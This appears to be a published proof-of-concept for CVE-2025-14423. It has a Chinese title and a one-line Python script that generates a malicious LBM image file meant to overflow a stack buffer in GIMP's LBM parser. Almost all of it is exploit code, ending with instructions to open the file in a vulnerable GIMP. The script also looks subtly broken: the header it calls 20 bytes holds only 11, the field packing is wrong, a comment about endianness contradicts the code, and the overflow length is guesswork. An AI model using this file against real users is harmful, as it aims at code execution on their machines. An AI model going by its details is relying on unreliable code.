CVE-2025-14423: GIMP LBM文件解析栈缓冲区溢出远程代码执行漏洞

#!/usr/bin/env python3 # CVE-2025-14423 PoC - Malicious LBM File Generator # This PoC generates a crafted LBM file that triggers a stack buffer overflow in GIMP # Reference: ZDI-CAN-28311 import struct import sys def create_malicious_lbm(): """Generate a malicious LBM file to trigger CVE-2025-14423""" # LBM file signature lbm_magic = b'FORM' # Total form size (will be updated) form_size = struct.pack('>I', 0) # LBM type identifier lbm_type = b'ILBM' # BMHD chunk - BitMap Header bmhd_chunk = b'BMHD' # BMHD data (20 bytes standard) # Width, Height, Origin X/Y, Number of planes, Masking, Compression, Flags bmhd_data = struct.pack('>HHBBBBB', 320, # Width 200, # Height 0, # Origin X 0, # Origin Y 5, # Number of planes (5-bit ham mode) 0, # Masking (none) 0 # Compression (none) ) # Pad bytes bmhd_data += struct.pack('>BB', 0, 0) # BMHD chunk size (little endian) bmhd_size = struct.pack('>I', len(bmhd_data)) # CMAP chunk - Color Map (with overflow data) cmap_chunk = b'CMAP' # Crafted CMAP data - oversized to trigger overflow # Original buffer size is likely smaller, this will overflow overflow_size = 1024 # Adjust based on actual buffer size cmap_data = b'\xFF' * overflow_size # Fill with 0xFF bytes # CMAP chunk size cmap_size = struct.pack('>I', len(cmap_data)) # BODY chunk - Image data (minimal) body_chunk = b'BODY' body_data = b'\x00' * 100 # Minimal body data body_size = struct.pack('>I', len(body_data)) # Calculate total form size chunk_data = lbm_type + bmhd_chunk + bmhd_size + bmhd_data + \ cmap_chunk + cmap_size + cmap_data + \ body_chunk + body_size + body_data # Build complete LBM file lbm_file = lbm_magic + struct.pack('>I', len(chunk_data)) + chunk_data return lbm_file def main(): output_file = "CVE-2025-14423_poc.lbm" print(f"[*] Generating PoC LBM file for CVE-2025-14423") print(f"[*] Target: GIMP LBM File Parser") print(f"[*] Vulnerability: Stack-based Buffer Overflow") lbm_data = create_malicious_lbm() with open(output_file, 'wb') as f: f.write(lbm_data) print(f"[+] PoC file created: {output_file}") print(f"[+] File size: {len(lbm_data)} bytes") print(f"[!] This file should be opened with vulnerable GIMP version") if __name__ == "__main__": main()